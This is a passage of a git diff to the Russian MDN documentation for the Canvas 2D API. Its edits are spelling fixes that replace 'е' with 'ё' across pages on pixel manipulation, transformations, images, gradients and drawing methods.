href="https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API/Manipulating_video_using_canvas">Manipulating video using canvas</a>.</p> @@ -116,7 +116,7 @@ canvas.addEventListener('mousemove', pick); <h3 id="Оттенки_серого_цвета_и_инвертирование_цветов">Оттенки серого цвета и инвертирование цветов</h3> -<p>В этом примере мы перебираем все пиксели для изменения их значений, а затем помещаем модифицированный массив пикселей обратно в canvas с помощью <a href="https://developer.mozilla.org/en-US/docs/Web/API/CanvasRenderingContext2D/putImageData">putImageData()</a>. Функция инвертирования просто вычитает каждый цвет из максимального значения 255. Функция оттенков серого просто использует среднее значение красного, зеленого и синего. Вы также можете использовать средневзвешенное значение, заданное формулой <code>x = 0.299r + 0.587g + 0.114b</code>, например. Для дополнительной информации см. <a href="http://en.wikipedia.org/wiki/Grayscale">Grayscale</a> в Википедии.</p> +<p>В этом примере мы перебираем все пиксели для изменения их значений, а затем помещаем модифицированный массив пикселей обратно в canvas с помощью <a href="https://developer.mozilla.org/en-US/docs/Web/API/CanvasRenderingContext2D/putImageData">putImageData()</a>. Функция инвертирования просто вычитает каждый цвет из максимального значения 255. Функция оттенков серого просто использует среднее значение красного, зелёного и синего. Вы также можете использовать средневзвешенное значение, заданное формулой <code>x = 0.299r + 0.587g + 0.114b</code>, например. Для дополнительной информации см. <a href="http://en.wikipedia.org/wiki/Grayscale">Grayscale</a> в Википедии.</p> <div class="hidden"> <pre class="brush: html;"><canvas id="canvas" width="300" height="227"></canvas> @@ -179,7 +179,7 @@ function draw(img) { Math.abs(x - 5), Math.abs(y - 5), 10, 10, 0, 0, 200, 200);</pre> -<p>Поскольку по умолчанию включено сглаживание, мы можем захотеть отключить сглаживание, чтобы увидеть четкие пиксели. Вы можете переключить флажок, чтобы увидеть эффект свойства <code>imageSmoothingEnabled</code> (которому нужны префиксы для разных браузеров).</p> +<p>Поскольку по умолчанию включено сглаживание, мы можем захотеть отключить сглаживание, чтобы увидеть чёткие пиксели. Вы можете переключить флажок, чтобы увидеть эффект свойства <code>imageSmoothingEnabled</code> (которому нужны префиксы для разных браузеров).</p> <h6 class="hidden" id="Zoom_example">Zoom example</h6> @@ -242,9 +242,9 @@ function draw(img) { <dd>Имейте в виду, что если холст содержит пиксели, полученные из другого {{Glossary ("origin")}} без использования CORS, холст будет <strong>испорчен</strong>, и его содержимое больше не будет считываться и сохраняться. Смотрите {{SectionOnPage ("/en-US/docs/Web/HTML/CORS_enabled_image", "Безопасность и испорченные холсты")}}</dd> <dt></dt> <dt>{{domxref("HTMLCanvasElement.toDataURL", "canvas.toDataURL('image/png')")}}</dt> - <dd>Настройки по умолчанию. Создает изображение в формате PNG.</dd> + <dd>Настройки по умолчанию. Создаёт изображение в формате PNG.</dd> <dt>{{domxref("HTMLCanvasElement.toDataURL", "canvas.toDataURL('image/jpeg', quality)")}}</dt> - <dd>Создает изображение в формате JPG. Дополнительно вы можете задать параметр "качество" (quality) в диапазоне от 0 до 1, причем единица задает лучшее качество и 0 - почти не распознаваемый, но небольшой по размеру файл.</dd> + <dd>Создаёт изображение в формате JPG. Дополнительно вы можете задать параметр "качество" (quality) в диапазоне от 0 до 1, причём единица задаёт лучшее качество и 0 - почти не распознаваемый, но небольшой по размеру файл.</dd> </dl> <p>После того как вы создали URI данные из своего холста, вы можете использовать его как источник любого {{HTMLElement ("image")}} или поместить его в гиперссылку с <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/a#attr-download">download attribute</a>, чтобы сохранить его на диске, например.</p> @@ -253,7 +253,7 @@ function draw(img) { <dl> <dt>{{domxref("HTMLCanvasElement.toBlob", "canvas.toBlob(callback, type, encoderOptions)")}}</dt> - <dd>Создает объект <code>Blob</code>, представляющий изображение, содержащееся в холсте.</dd> + <dd>Создаёт объект <code>Blob</code>, представляющий изображение, содержащееся в холсте.</dd> </dl> <h2 id="Смотрите_также">Смотрите также</h2> diff --git a/files/ru/web/api/canvas_api/tutorial/transformations/index.html b/files/ru/web/api/canvas_api/tutorial/transformations/index.html index 85acddca88..bdba6eae69 100644 --- a/files/ru/web/api/canvas_api/tutorial/transformations/index.html +++ b/files/ru/web/api/canvas_api/tutorial/transformations/index.html @@ -15,7 +15,7 @@ translation_of: Web/API/Canvas_API/Tutorial/Transformations <dt>{{domxref("CanvasRenderingContext2D.save", "save()")}}</dt> <dd><span class="notranslate">Сохраняет все состояние холста.</span></dd> <dt>{{domxref("CanvasRenderingContext2D.restore", "restore()")}}</dt> - <dd><span class="notranslate">Восстанавливает последнее сохраненное состояние холста.</span></dd> + <dd><span class="notranslate">Восстанавливает последнее сохранённое состояние холста.</span></dd> </dl> <p>Состояние холста сохраняется в стеке. Каждый раз, когда вызывается метод <code>save()</code>, текущее состояние отрисовки записывается в стек. Состояние отрисовки содержит:</p> @@ -80,7 +80,7 @@ translation_of: Web/API/Canvas_API/Tutorial/Transformations <h3 id="A_translate_example" name="A_translate_example">Пример использования <code>translate</code></h3> -<p><span class="tlid-translation translation" lang="ru"><span title="">Этот пример демонстрирует некоторые преимущества</span></span> при использовании смещения холста. Без использования метода <code>translate()</code> все прямоугольники будут отрисованы в одинаковой позиции (0,0). Метод <code>translate()</code> дает возможность размещения прямоугольника в любой позиции без изменения параметров функции <code>fillRect()</code>. Это может дать некоторое упрощение для понимания и использования.</p> +<p><span class="tlid-translation translation" lang="ru"><span title="">Этот пример демонстрирует некоторые преимущества</span></span> при использовании смещения холста. Без использования метода <code>translate()</code> все прямоугольники будут отрисованы в одинаковой позиции (0,0). Метод <code>translate()</code> даёт возможность размещения прямоугольника в любой позиции без изменения параметров функции <code>fillRect()</code>. Это может дать некоторое упрощение для понимания и использования.</p> <p>Внутри функции <code>draw()</code> мы вызываем <code>fillRect()</code> девять раз, используя два цикла <code>for</code>. Каждый раз мы сохраняем состояние холста, смещаем его, рисуем прямоугольник, а затем восстанавливаем исходное состояние. Заметьте, что <code>fillRect()</code> всегда использует одни и те же параметры, а изменение позиции фигуры осуществляется с помощью <code>translate()</code>.</p> @@ -192,7 +192,7 @@ translation_of: Web/API/Canvas_API/Tutorial/Transformations ctx.fillRect(1, 10, 10, 10); ctx.restore(); - // размещаем текст, отраженный по горизонтали + // размещаем текст, отражённый по горизонтали ctx.scale(-1, 1); ctx.font = '48px serif'; ctx.fillText('MDN', -135, 120); @@ -214,7 +214,7 @@ translation_of: Web/API/Canvas_API/Tutorial/Transformations <dl> <dt>{{domxref("CanvasRenderingContext2D.transform", "transform(a, b, c, d, e, f)")}}</dt> - <dd>Накладывает матрицу преобразования, заданную параметрами, на текущую матрицу. Матрица преобразования задается следующим образом: <math><semantics><mrow><mo>[</mo><mtable columnalign="center center center" rowspacing="0.5ex"><mtr><mtd><mi>a</mi></mtd><mtd><mi>c</mi></mtd><mtd><mi>e</mi></mtd></mtr><mtr><mtd><mi>b</mi></mtd><mtd><mi>d</mi></mtd><mtd><mi>f</mi></mtd></mtr><mtr><mtd><mn>0</mn></mtd><mtd><mn>0</mn></mtd><mtd><mn>1</mn></mtd></mtr></mtable><mo>]</mo></mrow><annotation encoding="TeX">\left[ \begin{array}{ccc} a & c & e \\ b & d & f \\ 0 & 0 & 1 \end{array} \right]</annotation></semantics></math></dd> + <dd>Накладывает матрицу преобразования, заданную параметрами, на текущую матрицу. Матрица преобразования задаётся следующим образом: <math><semantics><mrow><mo>[</mo><mtable columnalign="center center center" rowspacing="0.5ex"><mtr><mtd><mi>a</mi></mtd><mtd><mi>c</mi></mtd><mtd><mi>e</mi></mtd></mtr><mtr><mtd><mi>b</mi></mtd><mtd><mi>d</mi></mtd><mtd><mi>f</mi></mtd></mtr><mtr><mtd><mn>0</mn></mtd><mtd><mn>0</mn></mtd><mtd><mn>1</mn></mtd></mtr></mtable><mo>]</mo></mrow><annotation encoding="TeX">\left[ \begin{array}{ccc} a & c & e \\ b & d & f \\ 0 & 0 & 1 \end{array} \right]</annotation></semantics></math></dd> </dl> <dl> diff --git a/files/ru/web/api/canvas_api/tutorial/using_images/index.html b/files/ru/web/api/canvas_api/tutorial/using_images/index.html index 65470e1d07..c8e40a0c5f 100644 --- a/files/ru/web/api/canvas_api/tutorial/using_images/index.html +++ b/files/ru/web/api/canvas_api/tutorial/using_images/index.html @@ -9,7 +9,7 @@ original_slug: Web/API/Canvas_API/Tutorial/Использование_изобр <div>{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Drawing_text", "Web/API/Canvas_API/Tutorial/Трансформации")}}</div> <div class="summary"> -<p>До сих пор мы создавали наши собственные фигуры и применяли стили к ним. Одна из самых впечатляющих функций {{HTMLElement("canvas")}} это возможность использования изображений. Они могут быть использованы для динамического композитинга фото или как фоны графиков, для спрайтов в играх, и так далее. Внешние изображения могут быть использованы в любых поддерживаемых браузером форматах, таких как PNG, GIF, или JPEG. Вы можете даже использовать изображение, произведенное другими canvas элементами на той же странице как источник!</p> +<p>До сих пор мы создавали наши собственные фигуры и применяли стили к ним. Одна из самых впечатляющих функций {{HTMLElement("canvas")}} это возможность использования изображений. Они могут быть использованы для динамического композитинга фото или как фоны графиков, для спрайтов в играх, и так далее. Внешние изображения могут быть использованы в любых поддерживаемых браузером форматах, таких как PNG, GIF, или JPEG. Вы можете даже использовать изображение, произведённое другими canvas элементами на той же странице как источник!</p> </div> <p>Импортирование изображений в canvas в основном состоит из 2 этапов:</p> @@ -62,15 +62,15 @@ original_slug: Web/API/Canvas_API/Tutorial/Использование_изобр <p>Другой способ это создать новые {{domxref("HTMLImageElement")}} объекты в нашем скрипте. Чтобы это сделать, вы можете использовать удобный <code>Image()</code> конструктор:</p> -<pre class="brush: js">var img = new Image(); // Создает новый элемент изображения +<pre class="brush: js">var img = new Image(); // Создаёт новый элемент изображения img.src = 'myImage.png'; // Устанавливает путь </pre> -<p>Когда этот скрипт выполнится, изображение начнет загружаться.</p> +<p>Когда этот скрипт выполнится, изображение начнёт загружаться.</p> <p>Если вы попытаетесь вызвать функцию <code>drawImage()</code> перед тем как изображение загрузится, то скрипт ничего не сделает (или, в старых браузерах, может даже выдать исключение). Поэтому вам необходимо использовать событие load, чтобы вы не пытались сделать это прежде, чем изображение загрузится:</p> -<pre class="brush: js">var img = new Image(); // Создает новое изображение +<pre class="brush: js">var img = new Image(); // Создаёт новое изображение img.addEventListener("load", function() { // здесь выполняет drawImage функцию }, false); @@ -83,7 +83,7 @@ img.src = 'myImage.png'; // Устанавливает источник файл <p>Другой возможный способ включить изображение это через <a class="external" href="/en-US/docs/Web/HTTP/data_URIs" rel="external" title="http://en.wikipedia.org/wiki/Data:_URL">data: url</a>. Data URLs позволяет вам полностью определить изображение как Base64 кодированную строку символов прямо в ваш код.</p> -<pre class="brush: js">var img = new Image(); // Создает новый элемент img +<pre class="brush: js">var img = new Image(); // Создаёт новый элемент img img.src = 'data:image/gif;base64,R0lGODlhCwALAIAAAAAA3pn/ZiH5BAEAAAEALAAAAAALAAsAAAIUhA+hkcuO4lmNVindo7qyrIXiGBYAOw=='; </pre> @@ -105,7 +105,7 @@ img.src = 'data:image/gif;base64,R0lGODlhCwALAIAAAAAA3pn/ZiH5BAEAAAEALAAAAAALAAs } </pre> -<p>Эта функция вернет {{domxref("HTMLVideoElement")}} объект для этого видео, который, как мы упоминали ранее, является одним из объектов, который можно использовать как <code>CanvasImageSource</code>.</p> +<p>Эта функция вернёт {{domxref("HTMLVideoElement")}} объект для этого видео, который, как мы упоминали ранее, является одним из объектов, который можно использовать как <code>CanvasImageSource</code>.</p> <h2 id="Рисование_изображений">Рисование изображений</h2> @@ -154,7 +154,7 @@ img.src = 'data:image/gif;base64,R0lGODlhCwALAIAAAAAA3pn/ZiH5BAEAAAEALAAAAAALAAs <h2 id="Изменение_размеров">Изменение размеров</h2> -<p>Второй вариант метода <code>drawImage()</code> добавляет два новых параметра и позволяет разместить изображение в canvas с измененными размерами.</p> +<p>Второй вариант метода <code>drawImage()</code> добавляет два новых параметра и позволяет разместить изображение в canvas с изменёнными размерами.</p> <dl> <dt>{{domxref("CanvasRenderingContext2D.drawImage", "drawImage(image, x, y, width, height)")}}</dt> @@ -163,7 +163,7 @@ img.src = 'data:image/gif;base64,R0lGODlhCwALAIAAAAAA3pn/ZiH5BAEAAAEALAAAAAALAAs <h3 id="Пример_Тайлинг_изображения">Пример: Тайлинг изображения</h3> -<p>В этом примере, мы будем использовать изображение в качестве обоев и повторим его в canvas несколько раз. Это может быть сделано просто через цикл, располагая измененные изображения на разных позициях. В коде внизу, первый цикл <code>for</code> проходит по рядам. Второй цикл <code>for</code> проходит по колонкам. Изображение уменьшено на треть от реального размера, которое было 50x38 пикселей.</p> +<p>В этом примере, мы будем использовать изображение в качестве обоев и повторим его в canvas несколько раз. Это может быть сделано просто через цикл, располагая изменённые изображения на разных позициях. В коде внизу, первый цикл <code>for</code> проходит по рядам. Второй цикл <code>for</code> проходит по колонкам. Изображение уменьшено на треть от реального размера, которое было 50x38 пикселей.</p> <div class="note"> <p><strong>Обратите внимание</strong>: Изображения могут стать размытыми, при большом увеличении или зернистыми при значительном уменьшении. Возможно, лучше всего не изменять размеры изображения, если на них есть текст, который должен остаться читаемым. </p> @@ -197,7 +197,7 @@ img.src = 'data:image/gif;base64,R0lGODlhCwALAIAAAAAA3pn/ZiH5BAEAAAEALAAAAAALAAs <h2 id="Нарезка">Нарезка</h2> -<p>У третьего и последнего варианта метода <code>drawImage()</code> в дополнении к источнику изображения есть еще восемь параметров . Он позволяет нам вырезать кусок из изображения, затем изменить его размер и нарисовать его в canvas.</p> +<p>У третьего и последнего варианта метода <code>drawImage()</code> в дополнении к источнику изображения есть ещё восемь параметров . Он позволяет нам вырезать кусок из изображения, затем изменить его размер и нарисовать его в canvas.</p> <dl> <dt>{{domxref("CanvasRenderingContext2D.drawImage", "drawImage(image, sx, sy, sWidth, sHeight, dx, dy, dWidth, dHeight)")}}</dt> @@ -210,7 +210,7 @@ img.src = 'data:image/gif;base64,R0lGODlhCwALAIAAAAAA3pn/ZiH5BAEAAAEALAAAAAALAAs <h3 id="Пример_Обрамление_изображения">Пример: Обрамление изображения</h3> -<p>В этом примере, мы будем использовать того же носорога, что и в предыдущем примере, но мы отрежем его голову и включим ее в рамку. Изображение рамки это 24-х битный PNG, который включает падающую тень. Так как в 24-х битные PNG изображения включается полный 8-ми битный альфа-канал, в отличие от GIF и 8-битных PNG изображений, он может быть помещен в любой фон, без беспокойства о матовом цвете. </p> +<p>В этом примере, мы будем использовать того же носорога, что и в предыдущем примере, но мы отрежем его голову и включим её в рамку. Изображение рамки это 24-х битный PNG, который включает падающую тень. Так как в 24-х битные PNG изображения включается полный 8-ми битный альфа-канал, в отличие от GIF и 8-битных PNG изображений, он может быть помещён в любой фон, без беспокойства о матовом цвете. </p> <pre class="brush: html"><html> <body onload="draw();"> @@ -300,7 +300,7 @@ td { // Не добавляет canvas для изображения рамки if (document.images[i].getAttribute('id')!='frame'){ - // Создает элемент canvas + // Создаёт элемент canvas var canvas = document.createElement('canvas'); canvas.setAttribute('width',132); canvas.setAttribute('height',150); diff --git a/files/ru/web/api/canvascapturemediastreamtrack/index.html b/files/ru/web/api/canvascapturemediastreamtrack/index.html index 9705e65314..ecfbf9756b 100644 --- a/files/ru/web/api/canvascapturemediastreamtrack/index.html +++ b/files/ru/web/api/canvascapturemediastreamtrack/index.html @@ -49,7 +49,7 @@ translation_of: Web/API/CanvasCaptureMediaStreamTrack <h2 id="Совместимость_браузера">Совместимость браузера</h2> <div> -<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, пожалуйста, проверьте <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data </a>и пошлите нами запрос тяги.</div> +<div class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад в данные, пожалуйста, проверьте <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data </a>и пошлите нами запрос тяги.</div> <p>{{Compat ("api.CanvasCaptureMediaStreamTrack")}}</p> </div> diff --git a/files/ru/web/api/canvasgradient/index.html b/files/ru/web/api/canvasgradient/index.html index d3e23dc501..2b5a45212c 100644 --- a/files/ru/web/api/canvasgradient/index.html +++ b/files/ru/web/api/canvasgradient/index.html @@ -24,7 +24,7 @@ translation_of: Web/API/CanvasGradient <dl> <dt>{{domxref("CanvasGradient.addColorStop()")}}</dt> - <dd>Добавляет в градиент новый маркер, определяемый смещением и цветом. <code>Если смещение входдит за пределы 0</code> и <code>1</code>, генерируется <code>INDEX_SIZE_ERR</code>. Если не удается обработать цвет как CSS {{cssxref("<color>")}}, генерируется <code>SYNTAX_ERR</code>.</dd> + <dd>Добавляет в градиент новый маркер, определяемый смещением и цветом. <code>Если смещение входдит за пределы 0</code> и <code>1</code>, генерируется <code>INDEX_SIZE_ERR</code>. Если не удаётся обработать цвет как CSS {{cssxref("<color>")}}, генерируется <code>SYNTAX_ERR</code>.</dd> </dl> <h2 id="Характеристики"><span class="short_text" id="result_box" lang="ru"><span>Характеристики</span></span></h2> diff --git a/files/ru/web/api/canvasrenderingcontext2d/arc/index.html b/files/ru/web/api/canvasrenderingcontext2d/arc/index.html index fe39629a52..0d8a97de99 100644 --- a/files/ru/web/api/canvasrenderingcontext2d/arc/index.html +++ b/files/ru/web/api/canvasrenderingcontext2d/arc/index.html @@ -41,7 +41,7 @@ translation_of: Web/API/CanvasRenderingContext2D/arc <h3 id="Using_the_arc_method" name="Using_the_arc_method">Использование метода <code>arc</code></h3> -<p>Ниже приведен пример простого кода который рисует круг.</p> +<p>Ниже приведён пример простого кода который рисует круг.</p> <h4 id="HTML">HTML</h4> diff --git a/files/ru/web/api/canvasrenderingcontext2d/arcto/index.html b/files/ru/web/api/canvasrenderingcontext2d/arcto/index.html index 3e74f3015b..d1b461f3b1 100644 --- a/files/ru/web/api/canvasrenderingcontext2d/arcto/index.html +++ b/files/ru/web/api/canvasrenderingcontext2d/arcto/index.html @@ -41,7 +41,7 @@ translation_of: Web/API/CanvasRenderingContext2D/arcTo <h3 id="Как_работает_arcTo">Как работает arcTo</h3> -<p>Один из способов понять как работает <code>arcTo()</code> - представить две прямые линии: одна идёт от начальной точки к первой контрольной точке, а вторая от этой точки до второй контрольной точки. Без <code>arcTo()</code> эти два сегмента образовали бы острый угол: <code>arcTo()</code> создает дугу между этими двумя точками и сглаживает его. Другими словами, дуга является касательной для обеих линий.</p> +<p>Один из способов понять как работает <code>arcTo()</code> - представить две прямые линии: одна идёт от начальной точки к первой контрольной точке, а вторая от этой точки до второй контрольной точки. Без <code>arcTo()</code> эти два сегмента образовали бы острый угол: <code>arcTo()</code> создаёт дугу между этими двумя точками и сглаживает его. Другими словами, дуга является касательной для обеих линий.</p> <h4 id="HTML">HTML</h4> @@ -87,7 +87,7 @@ ctx.fill();</pre> <p>{{ EmbedLiveSample('Как_работает_arcTo', 315, 165) }}</p> -<h3 id="Создание_скругленного_угла">Создание скругленного угла</h3> +<h3 id="Создание_скруглённого_угла">Создание скруглённого угла</h3> <p>В этом примере создаётся скруглённый угол с использованием <code>arcTo()</code>. Это ещё один метод, который часто используется.</p> @@ -123,7 +123,7 @@ ctx.stroke();</pre> <h4 id="Результат_2">Результат</h4> -<p>{{ EmbedLiveSample('Создание_скругленного_угла', 315, 165) }}</p> +<p>{{ EmbedLiveSample('Создание_скруглённого_угла', 315, 165) }}</p> <h3 id="Результат_с_большим_радиусом">Результат с большим радиусом</h3> diff --git a/files/ru/web/api/canvasrenderingcontext2d/beziercurveto/index.html b/files/ru/web/api/canvasrenderingcontext2d/beziercurveto/index.html index 635c849882..81fe31aa72 100644 --- a/files/ru/web/api/canvasrenderingcontext2d/beziercurveto/index.html +++ b/files/ru/web/api/canvasrenderingcontext2d/beziercurveto/index.html @@ -74,7 +74,7 @@ ctx.fillRect(150, 70, 10, 10);</pre> <h3 id="Практическое_применение_bezierCurveTo">Практическое применение <code>bezierCurveTo</code></h3> -<p>Вы можете редактировать код, представленный ниже, и внесенные вами изменения отобразятся на холсте в режиме реального времени:</p> +<p>Вы можете редактировать код, представленный ниже, и внесённые вами изменения отобразятся на холсте в режиме реального времени:</p> <div class="hidden"> <pre class="brush: html"><canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas> diff --git a/files/ru/web/api/canvasrenderingcontext2d/clearrect/index.html b/files/ru/web/api/canvasrenderingcontext2d/clearrect/index.html index 70352dbe22..cf5dea358d 100644 --- a/files/ru/web/api/canvasrenderingcontext2d/clearrect/index.html +++ b/files/ru/web/api/canvasrenderingcontext2d/clearrect/index.html @@ -11,7 +11,7 @@ translation_of: Web/API/CanvasRenderingContext2D/clearRect --- <div>{{APIRef}}</div> -<p>Метод <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.clearRect()</code></strong>, предоставляемый Canvas 2D API, устанавливает прозрачный черный цвет для всех пикселей, расположенных внутри прямоугольника, заданного начальной точкой <em>(x, y)</em> и размерами <em>(width, height)</em>, таким образом стирая любое ранее нарисованное содержимое.</p> +<p>Метод <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.clearRect()</code></strong>, предоставляемый Canvas 2D API, устанавливает прозрачный чёрный цвет для всех пикселей, расположенных внутри прямоугольника, заданного начальной точкой <em>(x, y)</em> и размерами <em>(width, height)</em>, таким образом стирая любое ранее нарисованное содержимое.</p> <h2 id="Syntax" name="Syntax">Синтаксис</h2> diff --git a/files/ru/web/api/canvasrenderingcontext2d/closepath/index.html b/files/ru/web/api/canvasrenderingcontext2d/closepath/index.html index 86ecbaf06d..89349a3873 100644 --- a/files/ru/web/api/canvasrenderingcontext2d/closepath/index.html +++ b/files/ru/web/api/canvasrenderingcontext2d/closepath/index.html @@ -50,7 +50,7 @@ ctx.stroke(); <h3 id="Закрытие_пути_один_раз">Закрытие пути один раз</h3> -<p>Этот пример рисует смайлик, состоящий из трех не соединенных дуг (под путей).</p> +<p>Этот пример рисует смайлик, состоящий из трёх не соединённых дуг (под путей).</p> <div class="blockIndicator note"> <p>Хотя <code>closePath()</code> вызывается после создания всех дуг, закрывается только последняя.</p> @@ -63,7 +63,7 @@ ctx.stroke(); <h4 id="JavaScript_2">JavaScript</h4> -<p>Первые две дуги создают глаза, последняя создает рот.</p> +<p>Первые две дуги создают глаза, последняя создаёт рот.</p> <pre class="brush: js; highlight:[10]">const canvas = document.getElementById('canvas'); const ctx = canvas.getContext('2d'); diff --git a/files/ru/web/api/canvasrenderingcontext2d/createlineargradient/index.html b/files/ru/web/api/canvasrenderingcontext2d/createlineargradient/index.html index 9337731350..25d4a915b3 100644 --- a/files/ru/web/api/canvasrenderingcontext2d/createlineargradient/index.html +++ b/files/ru/web/api/canvasrenderingcontext2d/createlineargradient/index.html @@ -10,7 +10,7 @@ translation_of: Web/API/CanvasRenderingContext2D/createLinearGradient --- <div>{{APIRef}}</div> -<p>Метод <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.createLinearGradient()</code></strong>, предоставляемый Canvas 2D API, создает градиент вдоль линии, соединенной двумя точками с заданными координатами.</p> +<p>Метод <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.createLinearGradient()</code></strong>, предоставляемый Canvas 2D API, создаёт градиент вдоль линии, соединённой двумя точками с заданными координатами.</p> <p><img alt="" src="https://mdn.mozillademos.org/files/14681/mdn-canvas-linearGradient.png" style="height: 121px; width: 264px;"></p> @@ -44,14 +44,14 @@ translation_of: Web/API/CanvasRenderingContext2D/createLinearGradient <dl> <dt>{{domxref("CanvasGradient")}}</dt> - <dd>Линейный <code>CanvasGradient</code>, определенный линией.</dd> + <dd>Линейный <code>CanvasGradient</code>, определённый линией.</dd> </dl> <h2 id="Примеры">Примеры</h2> <h3 id="Заполнение_прямоугольника_с_линейным_градиентом">Заполнение прямоугольника с линейным градиентом</h3> -<p>В примере создается и добавляется линейный градиент, используя метод <code>createLinearGradient()</code>. Градиент имеет три точки остановки цвета между созданными начальной и конечной точками линии.</p> +<p>В примере создаётся и добавляется линейный градиент, используя метод <code>createLinearGradient()</code>. Градиент имеет три точки остановки цвета между созданными начальной и конечной точками линии.</p> <h4 id="HTML">HTML</h4> diff --git a/files/ru/web/api/canvasrenderingcontext2d/drawimage/index.html b/files/ru/web/api/canvasrenderingcontext2d/drawimage/index.html index 8a510de988..370ecfcb57 100644 --- a/files/ru/web/api/canvasrenderingcontext2d/drawimage/index.html +++ b/files/ru/web/api/canvasrenderingcontext2d/drawimage/index.html @@ -28,28 +28,28 @@ void <var><em>ctx</em>.drawImage(image, sx, sy, sWidth, sHeight, dx, dy, dWidth, <dt><code>image</code></dt> <dd>Элемент для отображения в контексте. Функция принимает любой источник изображения, пригодный для отображения на холсте ({{domxref("CanvasImageSource")}}), конкретнее, {{domxref("CSSImageValue")}}, {{domxref("HTMLImageElement")}}, {{domxref("SVGImageElement")}}, {{domxref("HTMLVideoElement")}}, {{domxref("HTMLCanvasElement")}}, {{domxref("ImageBitmap")}} или {{domxref("OffscreenCanvas")}}.</dd> <dt><code>dx</code></dt> - <dd>Координата по оси Х, обозначающая стартовую точку холста-приемника, в которую будет помещен верхний левый угол исходного <code>image</code>.</dd> + <dd>Координата по оси Х, обозначающая стартовую точку холста-приёмника, в которую будет помещён верхний левый угол исходного <code>image</code>.</dd> <dt><code>dy</code></dt> - <dd>Координата по оси Y, обозначающая стартовую точку холста-приемника, в которую будет помещен верхний левый угол исходного <code>image</code>.</dd> + <dd>Координата по оси Y, обозначающая стартовую точку холста-приёмника, в которую будет помещён верхний левый угол исходного <code>image</code>.</dd> <dt><code>dWidth</code></dt> <dd>Ширина изображения, полученного из исходного <code>image</code>. Эта опция позволяет масштабировать изображение по ширине. Если опция не задана, изображение не будет масштабировано.</dd> <dt><code>dHeight</code></dt> <dd>Высота изображения, полученного из исходного <code>image</code>. Эта опция позволяет масштабировать изображение по высоте. Если опция не задана, изображение не будет масштабировано.</dd> <dt><code>sx</code></dt> - <dd>Координата по оси X верхнего левого угла фрагмента, который будет вырезан из изображения-источника и помещен в контекст-приемник.</dd> + <dd>Координата по оси X верхнего левого угла фрагмента, который будет вырезан из изображения-источника и помещён в контекст-приемник.</dd> <dt><code>sy</code></dt> - <dd>Координата по оси Y верхнего левого угла фрагмента, который будет вырезан из изображения-источника и помещен в контекст-приемник.</dd> + <dd>Координата по оси Y верхнего левого угла фрагмента, который будет вырезан из изображения-источника и помещён в контекст-приемник.</dd> <dt><code>sWidth</code></dt> - <dd>Ширина фрагмента, который будет вырезан из изображения источника и помещен в контекст-приемник. Если не задана, фрагмент от точки, заданной <code>sx</code> и <code>sy</code> до правого нижнего угла источника будет целиком скопирован в контекст-приемник.</dd> + <dd>Ширина фрагмента, который будет вырезан из изображения источника и помещён в контекст-приёмник. Если не задана, фрагмент от точки, заданной <code>sx</code> и <code>sy</code> до правого нижнего угла источника будет целиком скопирован в контекст-приемник.</dd> <dt><code>sHeight</code></dt> - <dd>Высота фрагмента, который будет вырезан из изображения источника и помещен в контекст-приемник.</dd> + <dd>Высота фрагмента, который будет вырезан из изображения источника и помещён в контекст-приемник.</dd> </dl> <h3 id="Исключения">Исключения</h3> <dl> <dt><code>INDEX_SIZE_ERR</code></dt> - <dd>Выбрасывается, если ширина или высота источника или приемника равна нулю.</dd> + <dd>Выбрасывается, если ширина или высота источника или приёмника равна нулю.</dd> <dt><code>INVALID_STATE_ERR</code></dt> <dd>Источник не имеет данных изображения.</dd> <dt><code>TYPE_MISMATCH_ERR</code></dt> @@ -316,7 +316,7 @@ function drawImageActualSize() { <ul> <li><code>drawImage()</code> корректно работает с {{domxref("HTMLVideoElement")}} только в том случае, когда {{domxref("HTMLMediaElement.readyState")}}<strong> больше единицы</strong> (т.е., событие <strong>seek</strong> корректно вызывается после установки свойства <code>currentTime</code>)</li> <li><code>drawImage()</code> будет использовать внутренний размер элемента-источника, выраженный в CSS-пикселях, при рисовании, фрагментировании или масштабировании.</li> - <li><code>drawImage()</code> проигнорирует все EXIF-данные изображений, в том числе и <code>Orientation</code>. Такое поведение метода особенно проблематично для iOS-устройств. Вам потребуется распознать ориентацию самостоятельно и использовать <code>rotate()</code> для ее корректировки.</li> + <li><code>drawImage()</code> проигнорирует все EXIF-данные изображений, в том числе и <code>Orientation</code>. Такое поведение метода особенно проблематично для iOS-устройств. Вам потребуется распознать ориентацию самостоятельно и использовать <code>rotate()</code> для её корректировки.</li> </ul> <h2 id="См._также">См. также</h2> diff --git a/files/ru/web/api/canvasrenderingcontext2d/ellipse/index.html b/files/ru/web/api/canvasrenderingcontext2d/ellipse/index.html index 62fe8e6913..48c6ac8108 100644 --- a/files/ru/web/api/canvasrenderingcontext2d/ellipse/index.html +++ b/files/ru/web/api/canvasrenderingcontext2d/ellipse/index.html @@ -18,7 +18,7 @@ translation_of: Web/API/CanvasRenderingContext2D/ellipse <pre class="syntaxbox notranslate">void <em>ctx</em>.ellipse(<em>x</em>, <em>y</em>, <em>radiusX</em>, <em>radiusY</em>, <em>rotation</em>, <em>startAngle</em>, <em>endAngle</em> [, <em>anticlockwise</em>]); </pre> -<p><code>ellipse()</code> - метод, который создает эллиптическую дугу с центром в точках <code>(x, y)</code> с радиусом <code>radiusX</code> и <code>radiusY</code>. Путь начинается от точки <code>startAngle</code> и заканчивается в точке <code>endAngle</code>, идет по направлению, казанному в параметре (по часовой стрелке или против нее) <code>anticlockwise</code> .</p> +<p><code>ellipse()</code> - метод, который создаёт эллиптическую дугу с центром в точках <code>(x, y)</code> с радиусом <code>radiusX</code> и <code>radiusY</code>. Путь начинается от точки <code>startAngle</code> и заканчивается в точке <code>endAngle</code>, идёт по направлению, казанному в параметре (по часовой стрелке или против неё) <code>anticlockwise</code> .</p> <h3 id="Параметры">Параметры</h3> diff --git 